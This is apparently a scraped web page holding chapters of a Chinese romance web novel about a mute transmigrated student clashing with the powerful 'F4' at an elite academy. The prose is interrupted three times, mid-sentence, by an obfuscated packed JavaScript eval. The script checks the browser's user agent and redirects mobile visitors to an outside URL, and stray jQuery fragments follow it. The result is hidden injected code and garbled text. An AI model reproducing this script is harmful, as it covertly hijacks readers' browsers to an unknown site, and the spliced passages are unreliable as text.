眼镜放在枕边,倪知随手撩开刘海,一双漂亮的眼睛再无遮挡,夜色里,如黑曜石般灿然若星。
既然顾霜纯想要,那他一定不会让顾霜纯得到。
用一句很反派又中二的话来说,顾霜纯一帆风顺的人生,就由他来斩断。
他现在的目标,就是在不超过ooc限度的基础上,破坏顾霜纯的四条感情线,收拾顾霜纯替原主讨回公道,等原作剧情结束之后,重新恢复健康,拿着崇德学院的毕业证,美美远走高飞。
至于抢男人这件事,还是算了。
F4那四个人,没有一个正常的,抢他们和在垃圾箱里捡垃圾有什么区别?
-
第二天倪知和尤白羽去打工的时候,没有遇到F4的几位少爷,平平安安地工作一晚。
回来之后,尤白羽一直没睡,抱着手机看小说。
倪知洗完澡,一边擦头发一边出来,打手语问他:“要关灯吗?”
刚刚洗完澡,倪知的头发半干,没戴眼镜,刘海贴在面颊上,反倒将漂亮的眉目都露了出来。他盯着尤白羽,尤白羽却看到他纤长浓密的睫毛湿漉漉的,原本淡色的唇,被水汽蒸得嫣红饱满,像是凝着蜜糖。
尤白羽莫名其妙就脸红了,只觉得倪知真的好漂亮。
还好他平常头发把脸挡住了,不然不知道要招来多少桃花。
花痴了一下下,尤白羽回答:“关吧关吧,我看完这章也睡了。”
倪知:“我替你留一盏小灯吧,太黑玩手机对眼睛不好。”
小知真的好体贴好温柔。
尤白羽说:“小知,你要是女孩子,我一定要娶你。”
倪知打字揶揄他:“天天被夸漂亮像是女孩子的,可不是我。”
尤白羽说:“那是他们没有看过你的正脸。小知,你打算什么时候去把头发剪短?”
倪知看看日历:“等柔柔生日前吧。”
小姑娘生日前会做最后一次化疗,把头发剪了做成假发,刚好送她当生日礼物。
……而且到时候发工资,就有钱进理发店了。
“那不是就是下个月!”尤白羽翻起身来,期待道,“说真的,我觉得你比顾霜纯漂亮多了!你剪了头发闪亮登场,我真想看看顾霜纯的表情。”
倪知想象了一下,也觉得那个场面很有意思。
手机忽然震了一下,倪知看到微信里,多了个好友申请。
【世一】
谁啊?
不认识。
倪知过去经常收到骚扰的好友申请,所以不认识的一律当没看到。
他爬上床,刚打算睡觉。
坐在下面的尤白羽却突然问:“小知,你睡了吗?”
倪知把手机按亮摇了摇,示意自己没睡。
尤白羽有点犹豫:“那个,韩麟突然加我好友,让我帮忙问一下……你为什么不通过好友申请。”
刚刚加他的是韩麟?
看起来不像,而且,韩麟没事加他好友干什么。
倪知打字问:“你问问韩麟,是谁加我好友。”
尤白羽问清之后奇怪道:“韩麟说……你加了就知道了。怎么神神秘秘的?”
果然不是韩麟。
倪知重新躺回去:“你就说我已经睡了。”
这么晚还能使唤韩麟的人,想也知道,只可能是F4。
他可没有大半夜陪大少爷玩匿名游戏的习惯。
-
第二天倪知满课。
原主选的新闻专业,想要毕业之后去当记者,同时因为崇德的要求,还选修了包括俄语、小提琴、马术等一堆课程,这才能够保证每学期期末时,学分足够进入下一学程。
这些都是崇德学院内的贵族精英们,在他们的圈层需要用到的专业知识,对于特招生来说,以后能够用上的机会不多,反倒要他们花费大量的时间,去学习这些贵族学生们从小就娴熟掌握的内容。
唯一的好消息是,这些课程所需要的用具,一律由学校提供。
当然,那些贵族学生,是可以使用自己品质更好、更为昂贵的乐器教材,虽然考试的时候,会有些不公平,但这也是自身实力的一部分。
倪知和尤白羽的课程并不完全重叠,两人约好下课后一起去吃饭,还没碰面,倪知被人拦下了。
拦他的人和那晚在L''enfer看到的人很像,都是人高马大,但是说话很有礼貌,客客气气地请他“走一趟”。
倪知给尤白羽发了消息,维持自己老实人的人设,乖乖跟着他们上了车。
车子一路驶过学校中心的亭湖,停在湖旁的高塔下。
进入塔内,乘坐观光电梯时,可以看到外面夕阳高烧,落在如镜湖面上,折射出万千光影,水鸟争渡,掠过白色的芦苇荡,一圈一圈荡开涟漪。
电梯停在最高处,倪知从电梯出来,看到角落里,司一半躺在沙发里,正翘着二郎腿打手游。听到声音,他抬起眼睛看向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957799|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倪知,很不悦地问:“怎么不通过我的好友申请?”
倪知一怔,旋即反应过来。
司一,世一。
好拽的id。
倪知打字:“我不知道是你。”
司一不耐烦说:“除了我,谁会叫这个id?”
确实,这么唯我独尊。
自己不睡觉,搅得别人也不能睡。
倪知乖巧回应:“是我太笨啦。”
知道就好。
被晾了一晚上的火气,现在看他这么说,略略降下去一点。
司一忽然眯起眼睛,示意倪知:“过来点。”
倪知不明就里,走到他面前。
原作里,司一的身高明确写了是188,现在歪歪扭扭地糖在那里,也显得格外修长,大概是有上镜需要,他是那种镜头里很养眼的薄肌,但是现实看起来,就感觉他特别高特别瘦。
瘦长一条人。
倪知翘起唇角,被他看到了,问:“笑什么?”
倪知怯怯地摇了摇头。
司一勾勾手指:“低一点。”
倪知猜不透他想干什么,微微地弯下腰去,司一忽然抬手,摸了摸他脑后的小髻,而后得意一笑:“学我?你不会是我粉丝吧。”
倪知今天没有扎马尾,而是像司一一样,在脑后扎了个小揪揪,剩下的头发散着,显得很飘逸流畅。
没想到司一居然注意到了。
倪知装不好意思:“没有学你。”
司一语气懒懒的,带着点笑:“我的粉丝多了去了,是也不用不好意思。”
自恋狂。
倪知继续装腼腆:“真的没有> <>
“切。”司一得意一笑,“没有就没有吧。有空带你去我的演唱会玩。”
又说:“现在知道是我了,还不快点通过我的好友?”
知道是他,就更不想通过了。
倪知找借口:“没信号。”
司一:“连wifi,这也要我教你?密码是‘司一最帅’的拼音。”
倪知:……
莫名有点不想连这个wifi。
在司一的监督下,倪知只好通过他的好友:“好了。”
司一这才满意,又懒洋洋躺回去:“昨天我查了,你偷了顾霜纯东西?”
系统没有提示ooc值变化,说明司一不是真心觉得他是小偷。
现在说这话的意思……是在逗他?
倪知才不惯着司一,转身就走。
司一愣了一下,才反应过来。
自己一句话没说对,这个小哑巴居然给自己甩脸子。
区区一个特招生而已!
司一下意识跳起来,拽住他:“你跑什么?我就问问都不行?”
倪知站在那里,低着头,像是一朵阴郁的小蘑菇,长发柔顺似水,自肩胛一路滑落至脊背,脑后一个精巧的小髻,让人很想去捏一捏。
……算了,毕竟是自己粉丝。
大少爷司一总算学会了说人话:“我知道是他陷害你。”
倪知没动,还是低着头。
司一皱眉,很不爽地看着他。
倪知比他还不爽。
把他喊来浪费时间,有这会儿工夫,他已经吃完饭回寝室了。
两个人都不说话,就这么僵住。倪知的眼睛挡在刘海后面,明明看不到表情,司一就是莫名会脑补他很委屈。
真服了,有那么娇吗?
不就是问问,总不能哭了吧!
按照司一之前的脾气,敢给他甩脸色的人,现在已经被沉湖了。
可……可他一个小哑巴,自己和他计较什么?
司一:“我错了总行了吧?他欺负你,我替你还回来。”
7. 07
07
ooc值在倪知离开时升高,而后倪知什么都没干,又自己降回原点。
倪知不知道司一是怎么自我攻略的,但是总算满意他的态度,语气很淡地打字:“不用。”
这次轮到司一不高兴了:“别太过分啊,我都要替你找他麻烦了,这还不行?”
倪知:“我自己来。”
“你?”司一挑挑眉,有点好奇,“你想怎么样?”
倪知没回答:“还有事吗?没事我就回去了。”
司一不悦:“怎么,你还有约?”
“不是。”倪知打字,“我饿了,胃疼。”
司一后知后觉,这才发现,倪知的脸色不是很好。
倪知自己也没想到,原主的身体和自己曾经的身体居然连小毛病都一样,稍微饿一点就会胃疼,如果还不及时吃东西的话,就会低血糖昏倒,百试百灵。
现在已经有点低血糖的征兆了。
眼前一阵阵发黑,耳中也有些嗡鸣,倪知忽然听到司一说:“桌上有吃的,自己拿。”
桌上摆了很大一个零食罐子,倪知顾不上客气,手指微微颤抖着从里面拿了一袋糖果,试了两次都没有把袋子撕开。
司一忽然伸手,把袋子拿走撕开,又递还给他。
糖果是牛奶口味,含在口中,甜蜜的奶汁化开,倪知总算放松下来,不再摇摇欲坠随时可能晕倒。
司一歪在那里看他吃糖,不知道想到什么,问他:“你有低血糖?怎么不在身上带点吃的?”
倪知又挑了一块水果糖含在嘴里,看在糖的份上,好脾气地打字:“嗯。本来要去吃食堂。”
“食堂那是人吃的吗?”
他就不该和少爷说这个。
倪知在心里翻个白眼:“食堂便宜。”
司一哽了一下。
大少爷从来没想过,有人吃饭选择理由不是“想吃”,而是“便宜”。
倪知把剩下的糖果袋口封好,放回罐子里:“那我先回去了。”
司一“嗯”了一声,倪知转身就走,走到一半,听到司一喊他:“等等。”
倪知回过头,就看司一丢了什么过来。
下意识抬手接住,倪知看看手里的袋子,发现是自己刚吃剩的一大袋糖。
手机震动一下。
【世一】:“拿回去吃。”
【世一】:“我还没穷到一袋糖果都舍不得[白眼]”
倪知:……
什么古早表情包。
但吃人嘴短,看着手里包装精美的糖果,倪知还是乖乖地道了谢。
【小知不知道】:“谢谢。”
【小知不知道】:[小猫鞠躬.jpg]
司一没回,唇角翘着,等倪知上了电梯,打电话给手下,让他们以后每天多送一份餐过来。
自己吃饭也是无聊,既然他是自己的小粉丝,那让他陪着自己一起,也算他的福气。
唉,自己这样的偶像,实在是太体贴了。
-
寝室的灯没亮,尤白羽还没回来。
要不要发个消息,问问今晚还要给他留门吗。
倪知一边想着一边推开门,往里走了两步却忽然顿住。
他和尤白羽出门的时候,没关露台门吗?
露台的门半开着,微凉的夜风轻轻地吹了进来,雪白的纱帘荡起复又落下,映着窗外淡淡的月色,泛开水波一样的光影。
倪知警觉地后退,打算离开寝室。
“刺啦”一声,一点橙红色的光芒亮起,露台上,席惟正坐在那里,修长指间把玩着一只银色的火机,指尖摩挲滚轮,火光渐渐放大,照亮他半边面孔,他的眉目深邃,鼻骨高挺,耳后漆黑的双头蛇纹身,在暗夜里流动着银蓝色光芒。
夜色很深,深到突然亮起这样的暖光时,有种不切实际的梦幻感。
像是一个混乱的梦。
远方的层楼林立,各种装潢华美精致的建筑中,透出星星点点的光,公子哥们居住的区域,连黑夜也比特招生所在的地方明亮不少。
倪知听得到走廊里有人走过,隔壁寝室的同学正在听广播,单调的英语广播反反复复地念,讨论着经济形势、半岛动向,更远的楼梯间,有人结伴走来,笑着聊起今日的课程。
红尘万千声响,寝室成了小小的果核。
这不是席惟该来的地方。
可他坐在那里,神情淡然,似乎他出现在这里,是最正常不过的一件事。
疯子。
倪知在转头离开和装没看到之间犹豫一下,到底还是反手关上了门,慢慢走了过去。
席惟抬起眼睛,笑着看他:“回来了?”
倪知打字:“你来这里干什么?”
席惟抬起手来,示意他说:“来换药。”
倪知:“……什么?”
“换药啊。”席惟语气很自然,理所当然道,“你把我弄出血了,不该负责吗?”
……好怪的一句话。
倪知实在摸不透席惟在想什么:“寝室没有药。”
席惟笑了笑:“我自己带了。”
倪知:“你怎么自己不上?”
刚打完这行字,脑海中警铃大作。
Ooc值突然就飙升到了50%。
倪知:……
没完了是吧!
他在这位天龙人眼里,难道就是个上药的工具人?不给他上药就ooc?!
算了……为了不当小哑巴,他忍了。
倪知忍辱负重,打开医疗箱,替席惟换药。
其实那道伤口很浅,倪知轻轻掀开席惟手背上的创可贴,红痕已经淡到几乎看不见了。
倪知俯下身去,重新替他消毒,一缕头发落下来,略微遮挡视线,倪知还没抬手,席惟已经漫不经心地替他别至耳后。
席惟的皮肤很冰,像是被夜色浸透了,指尖擦过耳垂时,那种冷而轻的触感,让倪知不由自主地瑟缩一下。
露在外面的耳朵,自耳垂至耳尖,都泛着玫瑰一样的红。
漆黑的发、雪白的肌肤、红得要滴血的耳垂。
漂亮得无懈可击。
席惟察觉到了,微微一笑,忽然问他:“和司一玩得开心吗?”
倪知手顿了一下,刚要打字,席惟却翻转手掌,将掌心朝上放在他面前:“想说什么,写给我看。”
……
有一种理所应当的侵略性。
就好像无论要求别人干什么,都是别人的荣幸。
司一是自恋,他就是自大。
倪知顿了一下,在他掌心写道:“你怎么知道?”
席惟说:“我还以为你会问更有意思的问题。你不是拆了摄像头吗,没有看到上面的紫荆花?”
他果然知道。
答案昭然若揭,席家在崇德学院这一任的掌权人席惟,掌控欲果然强到变态,整个学院没有任何风吹草动,能够瞒得过他的眼睛。
他和自己说这个干什么?
警告自己,他一直在盯着自己?
倪知睫毛颤了颤,微微抿起唇来,没有和他就这个话题继续下去,贴上创可贴后,又细致地将边角抚平。
堂堂F4,居然恐吓一个小特招生。
没品。
但不得不说,席惟的手很漂亮,指节分明,筋骨俊秀,拇指食指夹缝处、食指两侧都带着细微的茧子,是长期持丨枪训练才会留下的痕迹。手指微垂时,手背上,淡青色的脉络凸起,粗大的血管蜿蜒在冷色的皮肤上,和耳后的双头蛇纹身一样,都带着令人不寒而栗的禁欲气质。
像是那种前二十年养胃,守身如玉,直到遇到命中注定的主角受之后,把人硬生生做丨晕过去的禁欲系。
倪知把自己逗笑了。
整个过程,席惟都静静地凝视着他,等倪知想要收回手时,他却拉住倪知的手腕,拇指指尖挑开倪知袖口,让腕上的疤痕,彻底地暴露出来。
伤口鲜红,似是凝固在了血液涌出的那一瞬间。
倪知手腕内侧的肌肤胜雪,触摸上去的质感很像是花瓣内蕊,很嫩,嫩到稍微用一点力就会被掐破。
指尖摩挲肌肤的力度暧昧,介于疼和痒之间。
倪知想要将手抽回来,席惟反倒握得更紧。
昏暗光线下,席惟的眼睛亮得惊人。
像狼。
倪知装作害怕,不再挣扎,乖乖停留在他的掌心,他这才满意,漫不经心说:“司一查了你和顾霜纯的事……顾霜纯是你弟弟?”
按照原主应有的反应,倪知手指猛地收紧,像是被戳破了什么很难堪的秘密。
席惟翘起唇角:“放心,司一没有查到这个。你不想让别人知道的事……我可以帮你隐瞒。”
语气带点蛊惑,却又笃定,猎物注定无法逃脱。
自己被盯上了。
不同于曾经饱含情丨欲和恋慕的凝视感,更冰冷,不带一点感情,充斥着从来不曾被忤逆的傲慢,肆无忌惮地包裹他。
这种感觉令倪知不适,过去他从来是掌控者,身体柔弱,灵魂高高在上,现在权柄倒转,他的一举一动,都像是带着镣铐。
被管束、被钳制。
倪知的神情冷了下去:“你想要我怎么做?”
“自己把眼镜摘下来。”席惟说,“我想看看你。”
倪知还以为自己听错了。
可席惟不紧不慢,又重复了一遍:“我要看你。”
确定了。
他不但是个疯批,还是个变态。
说话的语气,像是要他自己把衣服脱了。
不是不行,但……
“凭什么?”
倪知的手指纤细,打字很快,在暗夜里,指尖点在亮着的屏幕上,散发出一种萤石一般半透明的色泽。
席惟的注意力先落在他的手指上,慢了半拍才看向屏幕。
还是第一次有人问他凭什么。
席惟还没开口,门外,忽然响起了尤白羽的声音:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957800|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“小知,我回来啦……诶,门怎么锁了?”
两人同时看向门外。
席惟忽然笑了:“你的朋友回来了,他好像上次揍了韩麟一拳?你猜这件事要是传出去,学校里会有什么反应”
韩麟不是F4的一员,但作为韩家独子,在崇德学院的人气却也能排进前十,后援会人数众多,收拾尤白羽这样的特招生,简直易如反掌。
倪知立刻就懂席惟的意思了——
他在威胁自己。
用自己唯一的朋友。
倪知身体不易察觉地僵了一下。
席惟并没有催促他,只是含笑凝视着他。
门外,尤白羽停止了敲门,正在找钥匙。
席惟站起身来,在倪知耳边低声说:“刚刚的交易条件,只持续到你的朋友进门。”
露台很小,两人离得很近,手指只要稍稍一动,就能将倪知的发丝卷在指尖。他似乎僵住了,站在那里,半天没有动作。
其实看起来有点可怜。
像是什么走投无路的小动物,被人逼到了角落里,再也没有地方可以逃脱。
要放过他吗?
席惟凝视他天鹅一样漂亮纤细的脖颈,几乎一瞬间就有了决定。
不。
唇角翘起,席惟说:“看来你连你的朋友都不在意……唔?”
嘴忽然被人狠狠捂住。
捂过来的那只手,手指很长很细,皮肤是牛奶一样的白,指节却是樱花一样的粉,力度有些大,贴他贴的很紧,指尖微微陷入腮边的肌肤,连带着鼻尖,也一并遮入掌心。
所以可以闻到很清晰的香气,最先闻到的是海盐柠檬的清爽,学校配发的沐浴露,最平平无奇的味道。
再去闻的时候,却能闻到淡而馥郁的玫瑰气息,原本应当一层层剥掉衣服,才能在那不见天光的肌肤上嗅到,是最为私密隐晦,不可言说的微妙滋味。
却又不止于此。
倪知整个人也压了过来。
席惟原本站在露台门前,如果尤白羽打开门,一眼就可以看到他。现在倪知压过来之后,席惟下意识地向后退了几步,膝盖抵到身后的小几,半倚半坐在上面。
——并不是倪知太重。
他很轻,像是一片羽毛,带着蓬松柔软的香气,肆无忌惮地漫了过来。
大片的影笼罩住他们,倪知整个人都挤在他的怀中,手肘抵在他的胸口,秀气的手抓着手机,举到了他的面前。
“我不喜欢被人威胁。”
这是一个极为嚣张的动作,倪知对于人体的了解格外精准,这个姿势,不用很大的力度,稍稍发力,就能压迫胸腔,让人停止呼吸。
席惟知道,但他顾不上去思考。
倪知太危险了,他那样香,那样轻盈,那样柔软,像是大片大片的玫瑰花海,腰细得几乎一只手掌就能包裹,修长的小腿,圆润的膝盖,从侧面看去,几乎跨坐在自己的膝上。
席惟能感觉到他的臀肉,如同鲜嫩多汁的蜜桃,挺翘的形状,坐下时被挤压出一个引人遐思的凹陷。
但他浑然不觉,单手摘下眼镜,而后五指随意地插入发中向后一拢。
昏暗的灯影里,如同骤然亮起了一束光,先是唇,而后是微翘的鼻尖,挺直秀丽的鼻梁上,是一双肆无忌惮凤凰翅般绮丽的眼,睫浓眉深,黑白分明到灼人视线,望过来时,澄澈及至寒凉,眼尾红痕艳得乖张。
艳光流转,他明明比席惟要低,此刻席惟却不由自主地低下头来,俯身屈就于他。
喉结上下滚动一下,席惟觉得自己掌心出了汗,搭在倪知腰上时,情不自禁就像要收紧手指。
可他到底克制住了。
像是一只羽毛鲜亮漂亮的小鸟,主动地落在指尖,哪怕再想得到他,却也不舍得吓跑了他。
席惟的嘴被捂住,声音有点沉:“不是说不喜欢被威胁?”
倪知唇角挑高一点,像是笑了,看他的眼神却是凉的,带着点不耐烦,随意地打了几个字出来:“赏你的。”
顿了顿,又加了一句:“以后别来烦我。”
系统还在疯狂示警,警告着倪知的行为已经严重ooc,即将超过60%,会受到严厉的惩罚。
但倪知不在乎。
就像他说的,他讨厌被人威胁,尤其讨厌被人拿自己在意的人或事来威胁。
尤白羽是他穿书之后的第一个朋友,或许也是唯一一个,倪知无法接受,因为自己,尤白羽受到伤害。
说他自我也好,自负也好。
和开口说话相比,他更想要能够做自己。
所以——
去他妈的F4!
要不是他估算了一下,自己打不过席惟,现在就不只是警告这么简单了。
倪知冷冷看着席惟,却惊奇地发现,他并没有像自己想象的一样勃然大怒。
如果非要形容,席惟的表情更像是……兴致勃勃?
倪知:……
不会把他打爽了吧?
8. 08
08
席惟没那么变态,被打还会觉得爽。
被这样冒犯,明明应该不悦的。
可倪知还在怀里,在咫尺之间,一向被掩盖起来的面孔,清晰分明,澄澈皎白如同被水洗过。
巴掌大的小脸上,全是大大的五官,浓墨重彩像是什么盛放的花,雍容殊丽到令人不敢触碰。
两人体型差距太大,明明很剑拔弩张的姿势,也像是倪知整个人都被席惟裹在了怀里。
暗香氤氲,他很甜,不是工业糖精调配出来的味道,而是一种更为蛊惑轻盈的气息,颈子指尖,连同绸缎一样冰凉光滑的发丝,都让人忍不住好奇,舔起来是不是也是同样的可口。
火气烟消云散。
席惟就那样肆无忌惮地看着倪知,不知想到什么,语气也变得微妙起来:“知道了。”
知道就好。
席惟说话时,唇若即若离地碰在掌心,潮湿温热,像是细密的吻。
倪知皱了皱眉,松开手来。
他有点洁癖发作,急于想要去洗手。
可席惟却又扯住他的手,将他拉了回来,反手按在墙上。
同一时间,大门终于被推开,尤白羽的声音开朗活泼:“小知,你在家里干什么呢,喊你也不来开门?”
脚步声响起,在寝室内转了一圈,大概是没有看到他的身影,停在了露台门外。
隔着一层窗帘,隐隐约约透出尤白羽的身影,只要他稍稍再往前走两步,就能看到窗帘后,阴影中纠缠的两个人。
席惟的手掐在倪知的腰上,将他抵在墙和胸口之间。
他的指很长,贴得近了,能感觉到身体发力时,肌肉的线条形状,烙在倪知的身上,像是要狠狠地刻进来。
书里没写他的具体身高,只用目测,倪知也能看出,他身高肯定超过了一米九。
影子淹没过来,却又突然停住,距离恰好维持在倪知所能接受的最近范围。
倪知眉头皱得更紧。
青年高大的身形、冰冷而又炽热的体温、充满掌控的姿势,都让他有种失去控制的不适应感。
“你好像很紧张。”席惟看着他,声音放得很低很低,温热的气流吞吐,撞在他的肌肤上,“怕被看到?”
倪知向后仰头,想要避开他,可他亦步亦趋,慢慢地拂开倪知面上垂着的乱发。
月光温情脉脉,他的手有意无意划过倪知面颊的肌肤,那样的触碰细碎暧昧,似是若有似无的风,却比风要更烫。
Ooc值始终没有降下来,提示音越来越刺耳,红光闪烁,如同沸腾,而他们的距离也在越轨的边沿,近得连呼吸时,彼此胸膛的起伏,都能清晰感知。
倪知浑身紧绷,眼神冷而倔强,执拗地抿着唇。
他是美丽却脆弱的玫瑰,彼此都心知肚明,只要席惟伸手,就能将他摘下,让他枯萎,但他就是不肯认输。
席惟同样凝视着他,忽然奇异地发现,自己有点舍不得让他这么紧张了。
“你不喜欢被威胁,但我也不喜欢被命令。这次……”
席惟顿了顿。
倪知冷冷看他,他却含着笑,食指和中指指尖在倪知胸口的校徽上弹了一下,修的整齐漂亮的指尖同金属材质的校徽,发出悦耳的声响。
“算我们扯平了。”
-
门外,尤白羽正在给倪知发消息。
露台的门突然被推开,有人从里面走了出来。
尤白羽还以为是倪知,抬眼看去愣了一下,旋即大惊。
席惟怎么在他们寝室?!
尤白羽一时间不知道该不该问席惟,席惟却像是在自己家客厅一样,很随意地和他擦肩而过,推门走了。
大门关上,尤白羽还觉得自己在做梦,转头看到倪知也走了出来。
尤白羽:!
倪知的脸色不是很好,尤白羽甚至第一时间没敢问他,等他冲去洗手间洗了整整五分钟手后,尤白羽才小声问:“小知,席惟怎么来我们这儿了?”
倪知看着掌心,总觉得没有洗干净。
明明以前他不小心被狗舔了手心,也没觉得这么不舒服。
是他的洁癖加重了?
总不能席惟狗都不如吧。
听到尤白羽的问题,倪知恹恹地比手语:“来换药。”
尤白羽:“他大晚上跑来找你换药?”
倪知垂下眼睛。
大少爷的心血来潮。
整个学校都是他的,当然想干什么都可以。
尤白羽压低声音:“我们要不要换个门锁啊?”
倪知看了一眼大门,遗憾地摇了摇头:“没用。”
只要席惟想,他随时都可以进来。
校规校纪拦不住他,小小的一扇门当然也不行。
是自己的问题,吸引了席惟的注意,要尤白羽也陷入了不安之中。
倪知轻轻地吐出一口气来,对着尤白羽笑了笑:“我会和他说,不要再这样了。”
但这话只是安抚尤白羽而已。
倪知不觉得自己能改变席惟的想法。
不过凑巧的是,那几天席惟都没再出现。
尤白羽只以为是倪知说的话起了作用,还和开心和倪知说:“原来F4的人也能沟通啊。”
倪知被他逗笑了:“他们又不是外国人,难道会听不懂中文?”
尤白羽也忍不住笑起来,问倪知:“下午的马术课,你还要请假吗?”
原主之前虽然选修了马术课,但是因为被人捉弄,从马上掉下来受过伤,所以后面的课程一直请假,打算明年重修一门别的课程。
倪知却不怕这个:“不请假了。”
尤白羽问:“你不是打算重修?”
倪知沉痛地打字:“重修要多花钱。”
尤白羽一下子就被说服了,心有戚戚:“说得也是。”
下午的马术课在户外进行,倪知换好衣服,从更衣室出来时,正好遇到几个学生说说笑笑地从他身边走过,其中一个不小心撞在倪知肩上,把倪知抱在怀里的马术头盔撞掉了,那人刚要说对不起,看到是倪知,犹豫一下,什么都没说,只把头盔捡了起来。
倪知接过头盔,越过他们继续向前走。
身后,几个男生讨论他。
“你还替他捡头盔干什么,一个特招生而已。”
“上次他摔下马之后不就再也不来上课了,怎么今天又敢来了?”
“他刘海还是那么长,就不知道去修一修?”
“肯定是长得太丑了呗,遮住也好,别出来吓人。”
他们肆无忌惮,似乎根本不在意倪知就在他们身后没有走远。
突然有人道:“闭嘴——顾霜纯来了!温凌居然也在?”
顾霜纯是校花,温凌是校长的孙子,长得文静漂亮,顾霜纯没入校前,他当校花的呼声最高,顾霜纯入校后,两个人还闹过矛盾,没想到现在看起来关系还不错。
远处,顾霜纯和温凌一起走了过来。
顾霜纯穿着特别定制的马术服,浑身雪白,头发蓬松柔软,日光下呈现亚麻色泽,唇红齿白,看起来干净漂亮。
外人面前,他从来都是温柔可爱的形象,走过几个男生身边时,对着他们甜蜜地笑了笑,又漂亮又平易近人,把那几个男生迷得跃跃欲试,想要和他搭讪。
顾霜纯却没打算理他们。
这个学校里有权有势的多了,但上流圈子还分三六九等,他的目标从来不是那些大众货色。
那天晚上他在章之桓和司一面前丢了脸,必须要找个机会补救回来……
看到前面的身影,顾霜纯猛地停下。
倪知!
那晚的回忆太惨痛,他明明是要嘲讽倪知,却被倪知吓得落荒而逃,摔得满身泥泞。
这辈子他从没有这么丢脸过!
但他和母亲说了之后,母亲却不肯为他出气,甚至让他也收敛点,不许欺负倪知了。
顾霜纯看着倪知,一瞬间表情没有控制好,显得有些阴森,旁边朋友惊讶地看着他,他这才回过神来,咳了一声说:“倪知居然来上课了。”
朋友察言观色,顺着他的心意说:“上次他偷了你的东西,现在还敢在你面前出现!”
“小纯好惨,被这种人缠上。”
顾霜纯任由他们骂了半天,才柔柔地叹了口气:“算啦,毕竟是同学嘛。”
温凌却问:“倪知是谁?他偷你什么了?你没报警吗?”
顾霜纯被他问得有点尴尬,不想讨论这个话题:“小东西而已,报警也太过火了。”
温凌看着顾霜纯,笑了笑没再说话。
顾霜纯被他笑得心里很不舒服,无奈温凌家世比他好,只能忍下。
身旁的温凌却已经不在注意他,视线投向了倪知。
绿草如茵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957801|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,蔚蓝的天空下,倪知穿着一身学校统一发放的马术制服,黑色的上衣,白色的马裤,不是量体裁衣,尺寸略大,套在他身上,却只显得他肩背单薄,腰肢越发纤细,黑色的高筒马靴勾勒出修长的腿,他的头发很长,系成马尾扎在脑后,露出漂亮的天鹅颈。
整个人挺拔、高挑,只看身形,也秀丽似一株亭亭的树。
一个哑巴,身段再好有什么用!
顾霜纯不爽,却又因为明滢的嘱咐不敢再轻易找倪知麻烦,只能暗暗地瞪了倪知一眼。
这边的暗潮涌动,倪知完全不知道。
就算知道,也不会在意。
他真的好久没骑过马了!
之前他八岁的生日礼物就是一匹小马,被养在祖父送他的城堡庄园里,之后的每一个生日,他都会和他的小马一起度过。
不知道他不在了之后,他的小马会不会想念他。
上课的学生里,除了倪知之外,其他人的马要么是自己的,要么也是从外面的俱乐部借来的好马,只有倪知的小马是学校养的,和其他的马站在一起时,显得又瘦又小。
倪知却不嫌弃,可以自由活动时,特意牵着马走到树荫下。
这匹枣红色的小马有个很好听的名字,叫做“轻云”,是原主替他起的,因为颈中有一片白色的毛发,形状状似祥云。
倪知替它梳毛,它乖乖站着,不时转头,亲昵地蹭蹭倪知的肩膀。倪知被它逗笑了,抱住它的脖子,温柔地抚摸它的脖颈。
金色的日光透过树上的叶羽落下,叶羽似是翡翠,勾勒出金色的边沿,倪知浑身也被金色的光笼罩,露在外面的腕和颈都白得透明,漂亮得近乎于圣洁。
尤白羽牵着马跟在后面,很警觉地四下张望。
倪知注意到了,问他:“怎么了?”
尤白羽说:“你忘啦,上次有人故意吓你,害得你从马上摔下来。我猜十有八九是顾霜纯让人做的。”
倪知确实忘了这件事。
原主不会骑马,才会被这样的小手段吓到,如果是他,该哭的就是吓他的人了。
这片马场占地极大,是崇德学院里面唯一没有种植紫荆树的地方,抬眼望去,一览无余,自校园中心的亭湖分来两道长溪,划开草地,潺潺向南,一路蜿蜒至目力不可及之处。
远处几人人纵马跑去,马蹄溅起青草,还有草上开着的不知名伶仃小花,笑声传了过来,尤白羽问:“你想骑马吗?要不要我扶你上去跑两圈?”
他以为倪知只牵着马是因为上次有了阴影,倪知摇了摇头,尤白羽说:“还是练练吧,不然挂科的话,重修真的很贵……”
他话音未落,前方的笑声变成了尖叫,那群纵马的人群里,有一匹马正狂奔而出,马背上的人被颠得歪歪扭扭,欲坠未坠地挂在那里,看起来极为危险。
马受惊了!
满是学生的马场,一匹疯马,还有马上骑艺不精的骑师,听起来就是一场灾难。
